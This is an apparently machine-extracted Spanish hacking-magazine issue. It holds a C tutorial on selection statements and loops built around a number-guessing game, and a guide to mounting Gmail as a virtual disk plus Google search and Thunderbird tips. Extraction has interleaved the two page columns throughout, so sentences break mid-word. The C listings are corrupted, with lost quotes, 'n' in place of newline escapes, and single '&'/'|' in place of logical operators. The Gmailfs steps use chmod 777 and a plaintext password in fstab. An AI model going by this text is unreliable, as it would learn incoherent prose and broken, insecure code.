puesbifurcación de caminos en nuestro corresponda con un if determinado, y obviamente se hará más lento elcódigo. Ya podemos conducir hacia un si no tenemos cuidado con las llaves, programa.sitio o a otro, dependiendo de un criterio podemos llevarnos alguna que otra Existe una forma en C de realizar–la condición– que establezcamos. sorpresa en la ejecución del código. Esta sentencias de selección es mediante el circunstancia se agrava aún más cuando operador ternario ?, que tiene laY esto, señoras y señores, se puede tenemos que poner llaves para senten- siguiente pinta:complicar más, en el sentido de que cias compuestas que queramos que sepodemos establecer niveles de ejecuten con el if. Todo un verdadero Expresión 1 ? Expresión 2 : Expresión 3anidamiento para los if, del siguiente l a b e r i n t o. Pe r o e s t o h a r á q u e l amodo: conducción sea más agradable, ¿no? :P. En este caso, podemos utilizar senten- cias cualesquiera de C (asignación, if (condición 1) El nivel de profundidad de nuestro comparación ...). Funciona del siguiente { anidamiento (es decir, cuántos if modo. Se evalúa expresión 1: si el resul- if (condición 2) sentencia 1; else sentencia 2; anidados podemos poner) depende del tado es verdadero, se ejecuta la expre- { compilador. El estándar ANSI garantiza sión 2, en caso contrario, la expresión .... } un mínimo de 15 niveles. 3. Fácil y sencillo, ¿verdad?. La diferencia } con la sentencia if–else (que es a la que else sentencia 3; Una construcción un poquito más “sustituye”) es en que se pueden usar racional de estos anidamientos, la con este operador ternario cualquierEl modo en el que funciona este tipo de constituye la “escalera” if–else–if, tipo de sentencia, mientras que consentencia es muy parecido al primero. aunque la forma de trabajar con ella es if–else, estamos limitados a condicionesEn este caso, observad que la sentencia ligeramente inferior a la anterior. Su de comparación.del if (condición) que vimos anterior- sintaxis es:mente, es una sentencia compuesta en Y esto termina las sentencias deeste caso por más if, lo cual es if (condición 1) sentencia 1; selección. Para regocijo vuestro y deperfectamente válido en C. Este tipo de else if (condición 2) expresión 2; vuestros compiladores, vamos a ver unif anidados daría una imagen de ramales else pequeño programa, donde vamos apor donde puede discurrir el tráfico de . . jugar con el ordenador al famoso juegonuestras aplicaciones. En la siguiente . de adivinar números. Es el típico ejemploimagen se puede ver más claro qué que aparece cuando se ven sentencias Como vemos, en este caso, construimos de selección, y lo usaremos en esta en- la rama por la parte del else, en vez de trega para ver/estudiar los distintos tipos por la parte del if, que es la diferencia de sentencias de control que C nos con el caso anterior de if anidados. Esto brinda, con sus virtudes y defectos :P. da, de alguna manera, una imagen de “complementariedad” de este tipo de Aquí tenemos un ejemplo de anidamiento y el anterior. En la siguiente código:(listado 1) imagen puede verse de forma visual loImagen 1 que trato de decir. (imagen 2). 54
  • 54. http://totalred.blogspot.com Compilad y ejecutad el programa. Os /* Programa que ilustra varias sentencias de selección en C */ animo a que juguéis un poquito con él. // Importación de librerías En principio, una vez que adivinéis el #include <stdio.h> número, éste será el mismo de ejecución #include <stdlib.h> a ejecución del programa. Incluso si // Declaración de funciones recompiláis varias veces saldrá el mismo int cuadrado_numero(int); número. Con lo cual lo de aleatorio es int main() más bien algo ficticio. { // Variables char nivel_dificultad; A la función rand() se le ha añadido la int numero_misterioso = 0; operación módulo (%). Esto lo hago int intento = 0; porque si no, el programa tendría un // Usamos la función rand() para elegir un número aleatorio fallo de bulto: los números se saldrían numero_misterioso = rand(); de rango si queremos que el programa // El programa nos pide seleccionar un nivel de dificultad nos lo ponga difícil, ya que eleva el printf("nt¿Deseas que te lo ponga (f)ácil o (d)ifícil?"); número al cuadrado y sería negativo. scanf("%c", &nivel_dificultad); Probad a quitarle el % 101 y veréis // Una vez leído lo que el usuario ha introducido ejecutamos el programa cómo esto que digo es cierto, ya que if (nivel_dificultad == f) { RAND_MAX es un entero muy grande printf("nnIntroduce un número por teclado: "); (su valor está cercano a los dos mil scanf("%d", &intento); intento == numero_misterioso ? millones). printf("ntEnhorabuena, has acertado") : printf("ntLo siento, más suerte para la próxima"); } Para generar un poco de aleatoriedad else hay que usar otra función distinta. Es if (nivel_dificultad == d) srand() dicha función. Podéis tener más { numero_misterioso = cuadrado_numero(numero_misterioso); ayuda en http://www.geocities.com/ printf("nnIntroduce un número por teclado: "); chuidiang/funciones/rand.htm (si queréis scanf("%d", &intento); intento == numero_misterioso ? usar getpid() como generador de printf("ntEnhorabuena, has acertadon") : semillas, no se os olvide importar la printf("ntLo siento, más suerte para la próximan"); } librería unistd.h, en caso de querer usar la hora time.h es vuestra librería). else printf("ntNivel no reconocido. Introduce f o d"); También podéis usar el google y buscar } rand(). En las páginas clásicas como http://www.forosdelweb.com/ y // Definición de la función cuadrado_numero http://c.conclase.net también tenéis int cuadrado_numero(int numero) información para aburrir. { int resultado; resultado = numero > 0 ? numero*numero : -(numero*numero); Si queréis saber más sobre números return resultado; aleatorios (un tema computacionalmente } fascinante) podéis ver la página man de rand o srand. Aparte os recomiendo Listado 1 el libro “Numerical Recipes in XXX” Bien, como podemos ver, aquí tenemos variable que le indiquemos. El primer donde XXX no es lo que os pensáis ejemplos de los anteriores esquemas argumento que se le ha pasado en este (malpensaos :P), sino que puede ser C, de selección. Aquí vemos que hemos caso, es una cadena de formato, que Java, Fortran... El recomendable en este introducido dos nuevas funciones: rand() indica qué tipo de dato cabe esperar caso es “Numerical Recipes in C” obviamente. También viene en la página y scanf(). La primera, incluida en que el usuario introduzca. El segundo man esta recomendación. stdlib.h, nos permite generar números argumento es la variable (en realidad, aleatorios, entre 0 y RAND_MAX que es un puntero a la dirección de memoria Una última forma de realizar sentencias una constante la cual define un número de la variable) donde se almacena el de selección en C es mediante el uso entero muy grande. valor introducido por el usuario. Esto lo de switch. Su uso/sintaxis es el La función scanf() nos permite pedir veremos más adelante cuando hablemos siguiente: datos al usuario y almacenarlos en la de punteros. 55
  • 55. http://totalred.blogspot.com un caso bajo la misma secuencia de que se cumpla una cierta condición, switch (expresión) { sentencias, para no repetir. como prefiráis. Esta condición puede case constante1: secuencia de sentencias; estar predefinida de antemano, como break; Vo l v e r e m o s sobre este tipo de en el caso de los bucles for o no; como case constante2: secuencia de sentencias; construcciones más adelante en el curso. en el caso de los bucles while y do–while. break; Suelen venir bien cuando tenemos que case constante3: secuencia de sentencias; hacer un menú con varias opciones. De break; esta forma, queda todo más claro y . . menos difuso que si usáramos cualquier . otra construcción con if. ¿Os gustan los loopings en las default: carreteras? ¿La sensación de estar secuencia de sentencias; } Las sentencias switch tienen además cabeza abajo? Bueno, pues en C otro tipo de limitaciones: podemos estar dando vueltas y vueltasEsta forma de realizar estructuras de al mismo código una serie de veces,selección se puede ver que se parece 1 . S ó l o p u e d e n u s a r s e p a ra que no vienen predefinidas de antemanomucho a los if else con múltiples comprobar igualdad, if podría con las dos construcciones que vienenramificaciones. En este caso, se da una además con expresiones en el epígrafe.expresión que va a servir para compa- relacionales y lógicas.rarla con constantes. Cuando coincide La construcción de ambas, es muycon alguna, se evalúa la secuencia de 2. Es incorrecto darle a dos case similar y las pongo juntas, ya que asísentencias que hay entre el case y el d i s t i n t o s e l m i s m o va l o r d e podemos ver en qué se parecen y enbreak correspondientes. En caso de que constante. Se pueden anidar qué se diferencian:no coincida con ninguna, se ejecuta lo sentencias switch, en cuyo caso, while (condición) sentencia;que venga tras la etiqueta default (una sí que es correcto que tengan el do sentencia while (condición);etiqueta es toda expresión que va termi- mismo valor dos case distintos.nada con dos puntos, en vez de con Y ahora la explicación para cada uno.punto y coma). Esta etiqueta es opcional 3. Las constantes tipo carácter son En el primer caso, se evalúa la condicióny las sentencias que van con esta y con convertidas a su equivalente entero y, mientras sea cierta (de ahí el while)case llaman “sentencias de etiqueta”. correspondiente, según la tabla se itera sobre sentencia, una y otra vez.Anda que se quiebran con los nombres ASCII.:P. Nota 4. No es posible declarar variablesHay que tener cuidado con dónde se y/o funciones dentro de sentencias En todos los casos para las sintaxis de senten­ cias que estoy poniendo, tened en cuenta queponen los break. Cuando se encuentra case en bloques switch, ya que no sentencia hace referencia tanto a una simpleuna coincidencia se ejecuta desde es posible declarar variables locales instrucción, como a un bloque de código, quesecuencia de instrucciones hasta el dentro de secuencia de sentencias. deberá ir encerrado entre llaves.primer break del que se tenga noticia Para ello, deberíamos abrir uno el final de la sentencia switch. Si se bloque de código con las llaves, Para el segundo caso, se ejecutanos olvida en algún caso un break, si después del case y ahí meter la sentencia y luego se comprueba si lase empieza a cumplir la condición en la variable y el resto del bloque de condición es verdadera para seguiretiqueta case del “despiste” pues código.. En cambio, sí que pueden iterando.también se ejecutará la siguiente declararse al principio del bloque,secuencia de instrucciones hasta un justo antes de la primera sentencia A simple vista, diríais que son iguales,break o final de switch, como ya se ha case (para el caso de variables). pero hay una diferencia fundamental:mencionado anteriormente. el momento en el cual se evalúa la Con esto, hemos visto las principales condición. Para el caso del while a secas,Esto que puede parecer un “fallo” de C, sentencias de selección en C, pasemos se realiza al principio, con lo que puedeno lo es en realidad, ya que permite a carreteras más excitantes ... que no se ejecute nunca la sentenciagenerar código eficiente, al no tener dentro del código. Para el segundo, seque repetir fragmentos de código. comprueba una vez que se ha ejecutado la sentencia. Es decir, para el do ...Esto puede hacerse por despiste como while, tenemos que siempre nosya he dicho, o por conveniencia, porque Hemos llegado a los ansiados bucles. O metemos en el bucle. Para el caso delpuede que se necesite agrupar más de la repetición de trozos de código hasta while, puede que nunca nos metamos. 56
  • 56. http://totalred.blogspot.com Y esto es así de sencillo. Dependiendo /* Programa de adivinar un número que genere el ordenador aleatoriamente */ de lo que nos interese y de las exigencias // Importaciones de librerías del guión :P, puede que nos interese #include <stdio.h> meternos una vez en el bucle o puede #include <stdlib.h> que no. C da la flexibilidad necesaria #include <time.h> para que esto ocurra. // Declaración de funciones que vamos a necesitar void menu (void); // Presenta un menú inicial en pantalla Quizás, la expresión más general de las int genera_aleatorio(void); // Genera el número aleatorio dos sea la primera, ya que podemos int pedir_numero(void); // Pide el número al usuario int comprobar_numero(int, int); // Comprueba el número introducido transformar un bucle while en un do ... while, sin más que asegurarnos antes // Declaramos una variable global de llegar al bucle de que la condición int intento = 0; va a ser cierta y por tanto, se va a int main() ejecutar. { // Variables necesarias Para no desechar lo que hemos ido int numero_aleatorio = 0; int acierto = 0; haciendo en esta entrega, vamos a int acertado = 0; // Variable para saber si hemos acertado retocar nuestro programa para que ahora char opcion; se puedan realizar varios intentos. // Generamos el número aleatorio Vamos a iterar hasta que encontremos numero_aleatorio = genera_aleatorio(); el número. Sólo son 100 intentos como mucho, así que no nos preocupemos :P. // Presentamos el menú y leemos la entrada por teclado del usuario menu(); Pero vamos a completar el programa. opcion = getchar(); En cada intento fallido, al menos el ordenador nos dará información de si // Bucle del programa do ... while while (acertado == 0 & (opcion != s & opcion != S)) es mayor o menor y nos dará la { posibilidad de salirnos del programa pedir_numero(); introduciendo un número negativo. acierto = comprobar_numero(intento,numero_aleatorio); // Dependiendo de acierto se muestra un mensaje u otro Además, vamos a ver un menú sencillo, switch (acierto) de inicio de programa. Esto ya se va { case 0: complicando, en el sentido de que printf("Enhorabuena, has acertadon"); metemos muchos más elementos aquí acertado = 1; que en los programas anteriores. Esto break; case 1: ya se va pareciendo a un programa printf("El número buscado es menor que el introducido.n"); serio, como empezaremos seguramente printf("¿Qué desea hacer ahora?n"); a partir de la siguiente entrega. Pero no menu(); do quiero desvelar sorpresas todavía. { opcion = getchar(); De momento, centrémonos en este } while (opcion != s & opcion != p); break; nuevo programa. case -1: printf("El número buscado es mayor que el introducido.n"); El listado con el programa lo podéis ver printf("¿Qué desea hacer ahora?n"); menu(); a continuación (listado 2). do { Bien, el código es bastante sencillo, a opcion = getchar(); } while (opcion != s & opcion != p); pesar de las funciones y bucles que break; tiene. Como veis, aún se puede refinar default: aún más este programita, añadiendo break; funciones (una con el switch, por } } ejemplo). Las variaciones las dejo a } vuestra elección y criterio. Un añadido podría ser el incorporar una variable Listado 2 - continúa en la página siguiente que lo que haga sea contar el número 57
  • 57. http://totalred.blogspot.com inicializamos la o las variable(s) al inicio del bucle. En condición hay que poner void menu (void) la condición de salida del bucle, de modo { // Presentamos el menú en pantalla análogo a como se hacía con los bucles printf("nnElija una de las siguientes opciones.n"); while. E incremento es cómo se va(n) printf("1. - Probar suerte. (p)n"); a incrementar la(s) variable(s) de control printf("2. - Salir (s)n"); } en cada iteración de bucle. int genera_aleatorio() Para que lo veáis más claro, os pongo { un bucle while equivalente a esta forma srand(time(NULL)); return rand() % 101; del bucle for: } incialización; int pedir_numero() while (condición) { { secuencia de sentencias; printf("Introduzca un número por teclado (entre 0 y 100): "); incremento; } scanf("%i",&intento); printf("n"); Fijaos que el bucle for nos permite } inicializar más de una variable de control int comprobar_numero(int numero1, int numero2) de bucle, encadenadas mediante comas { (,). Un ejemplo de esto lo podemos ver // Devuelve cero si los dos números son iguales en el siguiente programa que nos // un uno si numero1 es mayor que numero2 // y un -1 si numero2 es mayor que numero1 imprimirá dos números en pantalla, mientras que uno de ellos sea menor if (numero1 == numero2) que diez: return 0; else /* Programa que ilustra el uso del bucle for if (numero1 > numero2) */ return 1; #include <stdio.h> else int main() return -1; { } int i; int j;Listado 2 continuación for (i=1,j=1; i<10; i++,j=i+1) {de veces que se ha intentado adivinar printf("El valor de i es: %in",i);y al final, cuando se acierte o no se printf("El valor de j es: %in",j);acierte se muestre el número de intentos Pues puede que parezca pretencioso, }efectuados. pero realmente, el bucle for es la joya return 0; de la corona en los bucles. Muchos que }Para el tema de generación de números hayáis estudiado bucles en otrosaleatorios, os he dejado enlaces y libros lenguajes de programación, si no Como puede verse, es fácil el uso deen los que mirar, por si queréis ampliar. varias variables en los “campos” de for. conocéis el for de C, pegad bien los ojos Además, aprovecho para incluir laDe momento, su interés para nosotros a estas páginas, porque es realmente función main devolviendo un entero,es en este tipo de programas para merecedor de todas las joyas de la que es el cero. Este valor, el cero, esrealizar juegos. Pero pueden dar mucho corona que queramos plantarle. considerado como que ha sido un éxitojuego. Ya los iremos descubriendo, la ejecución del programa. Volveremosporque son un mundo fascinante. Y ya, sin más dilación, pasemos a sobre esto más adelante, de momento descubrir sus entresijos. En su forma quedaos con que es un uso, digámoslo¡Ah! Se me olvidaba, la función más general, tenemos que es: así, frecuente el devolver un cero si elpedir_numero podría haberse codificado programa se ha ejecutado de formade otra forma. Hay, digamos, un fallito for (inicialización; condición; incremento) satisfactoria. {secuencia_de_sentencias}pequeño en su codificación, que no vaa hacer que el programa no se ejecute, Vamos a seguir adornando a nuestro Bien, explicando que es gerundio :P: Elpero que para los puristas puede que bucle for. Ya que si no, alguno me dirá primer campo de for es una sentenciaresulte horrendo a la vista... que me invento halagos para este bucle d e i n i c i a l i z a c i ó n , e s d e c i r, a q u í :P. La verdadera potencia de este bucle 58
  • 58. http://totalred.blogspot.com con la miel en los labios, vamos a ver /* Programa con variantes del bucle for */ si podemos codificar el mismo programa #include <stdio.h> #include <stdlib.h> que averiguaba números con el bucle #include <time.h> for. Mediante lo que os he dicho antes, void menu(void); podemos arreglarnos para que el bucle int pedir_numero(void); for sea un bucle infinito(listado 3). int genera_aleatorio(void); int comprobar_numero(int,int); C o m o p o d é i s ve r, e s t e p r o g ra m a int intento = 0; funciona, aunque es muy pobre. No nos int main() dice si vamos bien o mal encaminados { y además no nos deja “aburrirnos” de int numero_aleatorio = 0; int acierto = 10; intentar averiguar el número, ya que int acertado = 0; presenta una sola vez el menú. Las char opcion; modificaciones no son excesivamente numero_aleatorio = genera_aleatorio(); difíciles, así que, pequeños padawan, for (menu(),opcion = getchar(); acierto == 0 | opcion != s; pedir_numero()) os dejo como ejercicio que le incluyáis { las modificaciones que creáis acierto = comprobar_numero(intento,numero_aleatorio); } convenientes. La solución es simple y no voy a darla en próximos números, return 0; aunque sí, en nuestro foro: } http://www.hackxcrack.com/phpBB2/i void menu (void) ndex.php. Os invito a entrar y compartir { // Presentamos el menú en pantalla vuestras soluciones, expresar printf("nnElija una de las siguientes opciones.n"); inquietudes, lo que queráis. Os recuerdo printf("1. - Probar suerte. (p)n"); printf("2. - Salir (s)n"); q u e t o d o s , i n c l u i d o y o, e s t a m o s } aprendiendo y que seguro que le int genera_aleatorio() sacamos mucho jugo al bucle for entre { todos ;-). srand(time(NULL)); return rand() % 101; } El programa como veis inicializa pidiendo una opción y presentando el menú, int pedir_numero() { comprueba que ni hemos introducido el printf("Introduzca un número por teclado (entre 0 y 100): "); carácter correspondiente a salir, ni scanf("%i",&intento); printf("n"); hemos averiguado el número, nos pide } el número (la actualización se da justo int comprobar_numero(int numero1, int numero2) antes de entrar en el bucle for lo que { pasa es que en los convencionales esto // Devuelve cero si los dos números son iguales es “transparente” al usuario). // un uno si numero1 es mayor que numero2 // y un -1 si numero2 es mayor que numero1 Si se cumplen las condiciones para que if (numero1 == numero2) return 0; se entre en el for, pues se comprueba else que el número introducido por teclado if (numero1 > numero2) return 1; y el generado aleatoriamente sean else iguales, o uno mayor que otro vía return -1; } función comprobar_numero (recordad el anterior programa). De aquí se vuelve Listado 3 a entrar, esta vez sin pedir si queremos estriba en que cualquiera de los campos y que además, ésta debe ser válida en seguir probando suerte o salir del mismo, puede ser una expresión un número de intentos que definamos (suponemos que queremos seguir válida en C, incluso funciones... Sí, de antemano. probando suerte). Además no nos da el habéis leído bien. Y no, no estoy programa ninguna información de cómo borracho :P. Un ejemplo de la utilidad Este programa requerirá ver arrays, así estamos yendo en nuestro proceso de de este tipo de cosas puede ser un que lo dejaremos para sucesivas entre- búsqueda. Pero bueno, seguro que lo programa que pida una clave al usuario gas :P. Y para que no digáis que os dejo mejoráis ;-). 59
  • 59. http://totalred.blogspot.com uso. Además, estamos obligados a seguir Aquí en código_devuelto podemos unas ciertas reglas para operar con él: devolver un cero al sistema operativo, para indicar ejecución normal del Primero, debemos de usarlo de programa; o bien cualquier otro valorQue nadie se asuste que no vamos a la forma: para indicar que hemos tenido algunaprogramar un ajedrez en C. Al menos, anomalía durante la ejecución delno de momento :P. Vamos a terminar goto etiqueta; mismo. .este capítulo comentando las secuencias .de salto que tenemos en C. Quizás este etiqueta: Y como todo en esta vida (o casi todo) {secuencia_de_sentencias}epígrafe sea tildado de herejía por algún tiene su contrario, break tiene unpurista de la programación. Que me antagónico (aunque no es un antagónico Donde etiqueta es un identificadorperdone. Mi deber es exponer qué nos puro, ya que no hace solamente lo válido de C seguido de dos puntosofrece C. Luego que cada cual haga lo contrario): continue, que hace que no (:).que crea conveniente, sea o no buena se ejecute lo que sigue a partir de élpráctica de la programación. hasta el final del bucle, pero no salta Después, no podemos usarlo fuera de él. Lo que hace es volver a para salirnos de una función. Es ejecutar las partes de las pruebas decir, la etiqueta debe estar en la condicionales y de incremento de bucle misma función que el goto. en bucles for y en while y do–while a laBien, esta sentencia ya ha sido vista prueba condicional. Y no hay mucho más que decir del goto.con anterioridad. Y sí, es una sentencia Os animo a que intentéis emular buclesde salto, ya que lo que hace es “volver” Es útil combinado con alguna expresión while y for con el goto. Como siempre,de la función al punto donde se llamó condicional dentro del bucle para el foro os espera ;-).la función. Se salta a dicho punto. Y lo discernir si ejecutamos hasta el finalbueno de C es que no pone límites a del bucle o reiniciamos el bucle.nuestra imaginación. Podemos usar enlas funciones tantos return como De todos estos no pongo ejemplos de Bien, para salir de bucles sin necesidadqueramos. Ahora bien, en cuanto se código. Os dejo para que probéis si de que se cumpla la condición queencuentre la función con el primero se podemos usarlos en nuestro programita hemos predispuesto a tal efecto,salta y el resto se ignoran. de averiguar números con bucle for, a tenemos break. Como hemos visto, se ver si podemos mejorarlo y que sea más puede utilizar también en los case, paraCuando no acompañamos de un valor completo y nos anime a jugar. que salga sin necesidad de seguira return, el compilador asume un valor evaluando los case subsiguientes. Espor defecto para devolver. Esto mismo Y esto ha sido todo por esta entrega. decir, es una salida incondicional (sinocurre en una función cuando no usamos Espero que os guste y que os anime a condiciones, qué locuacidad la mía :P)return. La llave de cierre hace de return aprender este apasionante lenguaje que de bucles y en este caso, además, desin valor. Como veis, todo al final tiene es el C. los case.sentido y vemos por qué si no podemosun return en una función, aparente- Habréis visto que no he dado ejemplos Se puede utilizar para dar un controlmente, no pasa nada. de compilación y/o ejecución esta vez. extra sobre salida en bucles y puede Esto es para que tanto los que usáis interesarnos en ciertos casos. Como Linux como Windows podáis seguir mejor siempre, a gusto del programador. C los ejemplos, os animéis a probarlos p o n e l a s h e r ra m i e n t a s , n o s o t r o s (que no son tan largos) y así podáis debemos saber si las queremos o noBien, llega la controversia. C nos brinda exponer las dudas en el foro sobre utilizar. O si nos conviene utilizarlas...la opción de una variedad rica de compiladores, formas de compilación, Existe un break más “contundente”: lasentencias y control sobre el flujo del etcétera. función exit(). Esta función lo que haceprograma que tenemos. Y por eso es terminar con el programa, devol-incluye al amado–odiado goto. La causa Y ya me despido de vosotros. No sin viendo el control al sistema operativo.de su odio y a la vez de su amor, es daros las gracias por leerme hasta aquí Un pelín radical, sí, pero puede ser útilque se u til izab a t a n t o qu e h a cía e invitándonos a vernos en el foro para en ciertos momentos. Su forma general,programas ilegibles. Y se usaba tanto intercambiar ideas, dudas, críticas e ya que es una función es:porque era fácil de usar. Sin embargo, inquietudes que tengamos.en C no es estrictamente necesario su void exit(int código_devuelvo); 60
  • 60. http://totalred.blogspot.com Con este artículo inauguramos un nuevo apartado en la revista. Bienvenidos a la nueva sección de Pc Paso a Paso: La Cafetería. Aquí encontraréis todo tipo de artículos, desde FAQs(Frequently Asked Questions) o manuales, hasta entrevistas con celebridades de la informática, pasando por artículos de opinión, noticias relevantes e incluso una tira cómica, que los informáticos también tenemos sentido del humor :D Llamadlo un área de Off Topics, Artículos varios o Temática General, pero el fin es el mismo: entreteneros, informaros y haceros la lectura de esta revista más divertida(aún), ya que no solo de cursos vive el hombre :). Esperamos poder cumplir con nuestro deseo.... Poneos Cómodos, estáis en la Cafetería! tando, ¿que hace tan especial a Gmail? Pues que como su hermano mayor(el buscador :P) tiene diversas El objetivo de este pequeño tutorial es enseñarte a explotar características especiales, entre las que se encuentra la al máximo todas las posibilidades que nos brinda el más aclamada: espacio web de más de 2 GB (y subiendo conjunto Google-Gmail, ambos de la conocida compañía mientras lees estas líneas). Esto permite que puedas Google. Quizá pienses que sabes encontrar cualquier cosa guardar todos los mensajes sin preocuparte de que te en Google, pero igual no sabes que Google puede ser estalle la cuenta :). usado como calculadora, puede convertir distintas unidades de cálculo, puede mandarte un email con los resultados, Veamos algunas de las otras características de Gmail: e incluso puedes seguir la trayectoria de tu pedido en FedEX/UPS o ver la localización actual de un vuelo. A continuación voy a explicar como utilizar tu cuenta en Gmail como disco duro virtual, para almacenar todo lo Gmail es un servicio de correo electrónico que actualmente que quieras, en GNU/Linux( indiferentemente de la esta en fase beta, es decir, en pruebas. Esto solo quiere distribucion) y Windows Xp. decir que no les apetece ponerlo disponible al mundo hasta que sea perfecto, ya que es lo que la gente esperaría -Windows de Google. Lo que quiero enfatizar es que el sistema esta totalmente operativo, y funciona a la perfección. Lo primero que debemos hacer es bajarnos el programa de cualquiera de estos sitios: La única forma de obtener una cuenta Gmail es mediante una invitación, si quieres una puedes pedirla en el foro http://www.softpedia.com/progDownload/Gmail-Drive- en el siguiente hilo --> http://www.hackxcrack.com shell-extension-Download-15944.html /phpBB2/viewtopic.php?t=17929. Y te estarás pregun- http://fileforum.betanews.com/detail/Gmail_Drive/1097 61
  • 61. http://totalred.blogspot.com807577/1/ -Librería libGmail de http://sourcefor Ahora repetimos con libGmailhttp://www.techspot.com/download29 ge.net/project/showfiles.php?group_i7.html d=113492 # tar xvfz libGmail-0.0.8.tgz -GmailFs de http://richard.jones.name # cd libGmail-0.0.8Una vez haya terminado la descarga, lo /Google-hacks/Gmail-filesystem # cp constants.py libGmail.pyabrimos(doble click) y lo extrae- /Gmailfs-0.3.tar.gz /usr/local/lib/python2.4/site-packagesmos(acciones-->Extraer) a C:Gmail.Ahora nos vamos a la carpeta e iniciamos Bueno, ya lo tenemos todo ¿no? Tened Como ves hemos tenido que copiar esosel setup.exe en cuenta que es bastante probable que dos archivos a un lugar accesible para tengáis Python, comprobadlo para python. Y ahora por último Gmailfs:Nos saldrá el Readme, que ,si no sabes ahorraros un poco de tiempo. Tambiéningles, te servirá de poco. Ciérralo para debéis tener en cuenta que lo estoy # tar xvfz Gmailfs-0.3.tar.gzproceder con la instalación. Ahora solo explicando independiente de la distri- # cd Gmailfs-0.3tienes que ir a "Mi Pc" y veras que tienes bución, por lo que en vuestra distribución # cp Gmailfs.py /usr/local/binun nuevo disco duro llamado "Gmail es muy posible que os podáis descargar # cp mount.Gmailfs /sbin/Drive". Haz doble click en él y te pedirá paquetes como Python con un simple # mkdir /mnt/Gmailtu nombre de usuario y contraseña. Los apt-get install python.pones y si quieres que cada vez que se Bien, ahora debemos añadir una entradainicie el ordenador se conecte a Gmail, Desde ahora asumo que los archivos a /etc/fstab que sea algo como esto:dale a "autologin", aunque no lo descargados están en /tmp/Gmailfs y /usr/local/bin/Gmailfs.py /mnt/Gmailrecomiendo. que estamos logueados como "root" en Gmailfs noauto,username=usuario, una consola para hacer todo esto. password=contraseñaBien, ya tienes tu nuevo disco duro fsname=WaDALbeRTovirtual, puedes almacenar ahí lo que Lo primero que debemos hacer esquieras, y luego lo puedes sacar en instalar Python. Donde "usuario" es nuestro nombre decualquier ordenador que tenga también usuario y "contraseña" nuestra contra-instalado GmailDrive. # tar xvfz Python-2.4.1.tgz seña de Gmail. "fsname" es un nombre # cd Python-2.4.1 para el sistema de archivos, podemosTen en cuenta que este es un programa # ./configure --prefix=/usr/local ponerle el que queramos, pero esque depende de Gmail, por lo que cada # make aconsejable que sea difícil de adivinarvez que actualicen su sistema ya no # make install --prefix=/usr/local "por si las moscas".funcionará(se actualizara no muy amenudo), así que si ves que no te Ya tenemos Python instalado. Ahora le Bueno, ahora solo nos queda ir a /mnt/funciona, pásate otra vez por la web y toca a Fuse: y hacer mount Gmail.bájate una versión actualizada al nuevosistema, y repite los pasos. # tar xvfz fuse-2.2.1.tar.gz # cd fuse-2.2.1Web de GmailDrive: http://www. #./configureviksoe.dk/code/Gmail.htm #make && make install También podemos ver nuestro correo # vi /etc/init.d/fuse desde un cliente de correo, ya sea en-Linux >#!/bin/sh tu ordenador o en un PDA. Para hacerlo >modprobe fuse nos logueamos en Gmail y vamos aPara hacer esto independiente de la :wq configuración(arriba a la derecha) adistribución que uses, voy a explicar # update-rc.d fuse defaults continuación vamos a “Reenvío y Correocomo hacerlo desde las fuentes de todos POP” y donde dice “Descargar correol o s p r o g ra m a s q u e n e c e s i t e m o s . Como podéis ver, hemos tenido que POP” habilitamos “Habilitar POP para crear un script en "/etc/init.d" para que todos los mensajes”. Ahora para configurarPrimero debemos bajarnos: se inicie el modulo fuse cuando iniciemos tu gestor favorito tienes el GmailConfig, nuestro ordenador. Si quieres utilizar que te lo configura todo de manera que-Python(si es que no lo tenemos ya) de ahora mismo fuse haz modprobe fuse . solo tengas que introducir tu usuario yhttp://www.python.org/ftp/python/2. contraseña. Puedes bajártelo de http://4.1/Python-2.4.1.tgz Turno de Fuse Bindings: t o o l b a r. G o o g l e . c o m / G m a i l - h e l p e r /-Fuse de http://sourceforge.net GmailConfig.exe . Para una explicación de/project/showfiles.php?group_id=121 # tar xvfz fuse-python.tar.gz como hacerlo independientemente del684&package_id=132802 # cd fuse-python gestor de correo, entrad en-Python-Fuse Bindings de http://richard. # chmod 777 fuse.py http://gmail.google.com/support/bin/anjones.name/Google-hacks/Gmail- # python setup.py build swer.py?answer=13287filesystem/fuse-python.tar.gz # python setup.py install 62
  • 62. http://totalred.blogspot.com A continuación explicaré como configu- "Reenvío y correo POP" y hacer click en haríamos "constitución Española" rarlo con Mozilla Thunderbird: "Reenviar una copia del correo entrante filetype:pdf y nos devolvería todos los a" seguido de la dirección de correo, sitios donde aparece constitución Abre Thunderbird y entra en indicando si quieres conservar una copia española en formato .pdf. “Herramientas”-->”Edición de Cuentas”, en la cuenta de Gmail o no. seguido de “Añadir Cuenta”. Pincha en “Cuenta de Correo Electrónico” y en “Siguiente”. Pues sí, también podemos buscar cosas Introduce el nombre que verán los Gmail te permite ver en tu lector de especificas de películas en Google recipientes de tus mensajes en “Su feeds favorito tus correos. Para hacerlo utilizando el operador “movie :” . Por Nombre:”. Luego teclea tu nombre de deberás añadir a tu agregador feed la ejemplo, sabemos que hay una película usuario Gmail (usuario@gmail.com) dirección “https://Gmail.Google.com/ dirigida por “Spielberg” en la que sale adentra de la caja de “Dirección de Gmail/feed/atom”, y configurarlo de “Tom Hanks” y que trata sobre un Correo Electrónico”, y dale a “Siguiente”. manera que el identificador y contraseña “Soldado”. Pues ponemos “movie: Selecciona “POP” como tipo de servidor sean las mismas que las de tu correo. Spielberg Tom Hanks Soldier” y nos da entrante. En “Nombre del Servidor” pon como resultado “Salvar al Soldado Ryan”, “pop.gmail.com” y acto seguido haz click de la cual podemos ver críticas, sinopsis, en “Siguiente”. actores, etc.... Teclea una vez más tu nombre de Con Google puedes encontrar usuario de Gmail (incluyendo el prácticamente cualquier cosa, y después “@gmail.com”) en “Nombre de Usuario de este artículo ya no tendrás excusa Entrante”. para no encontrarlo TODO ;) Estas son Esta característica nos permite seguir Introduce cualquier nombre en algunas de las formas en las que Google los paquetes enviados a través de FedEx, “Nombre de Cuenta” seguido de nos ayuda: UPS, USPS, y otros dando solamente el “Siguiente”. numero de identificación, por ejemplo Verifica que todo está correcto y haz "9999 9999 9999 9999 9999 99". click en “Siguiente”. También podemos ver un vuelo poniendo Bajo la nueva cuenta creada entra en Google incorpora una calculadora que su número de identificación, el cual “Configuración de Servidor” y pon un te permite hacer todo tipo de cálculos suele estar normalmente en el reverso tick en la caja que dice “Usar conexión matemáticos, desde lo más simple hasta del ticket. segura (SSL)”, y verifica que el puerto lo más complejo. Por ejemplo, podemos sea “995”. hacer algo tan simple como multiplicar En la ventana de “Configuración de cinco más cinco por dos, “(5+5)*2”, Cuenta” mira el recuadro “Servidor de hasta hacer cosas tan complicadas como Salida 